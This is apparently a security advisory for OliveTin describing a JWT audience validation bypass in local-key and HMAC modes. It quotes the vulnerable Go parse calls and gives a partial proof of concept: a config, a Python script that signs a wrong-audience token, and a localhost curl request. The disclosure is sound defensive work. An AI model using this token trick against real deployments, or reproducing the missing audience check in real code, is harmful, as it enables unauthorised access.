OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes

Summary

When JWT authentication is configured using either:

• authJwtPubKeyPath (local RSA public key), or
• authJwtHmacSecret (HMAC secret),

the configured audience value (authJwtAud) is not enforced during token parsing. As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication. This allows authentication using tokens intended for a different audience/service.

Details

Affected Code

File: jwt.go Lines: 51–59, 144–157, 161–168

Current Behavior

Remote JWKS Mode (Correct):

return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))

Audience validation is enforced.

Local Public Key Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

HMAC Mode (Vulnerable):

return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })

No jwt.WithAudience() option is provided.

Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.

PoC

1. Configure OliveTin

   Use a minimal config with JWT local key authentication:

   authJwtPubKeyPath: ./public.pem
   authJwtHeader: Authorization
   authJwtClaimUsername: sub
   authJwtAud: expected-audience
   
   authRequireGuestsToLogin: true
   

2. Generate a Wrong-Audience Token

   python3 - <<EOF
   import jwt, datetime
   
   with open("private.pem") as f:
       key = f.read()
   
   token = jwt.encode(
       {
           "sub": "low",
           "aud": "wrong-audience",   # intentionally wrong
           "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
       },
       key,
       algorithm="RS256"
   )
   
   print(token)
   EOF
   

   This prints the $WRONG_AUD_TOKEN.

3. Test Without Token (Baseline)

   curl -i -X POST http://localhost:1337/api/WhoAmI \
     -H 'Content-Type: application/json' \
     -d '{}'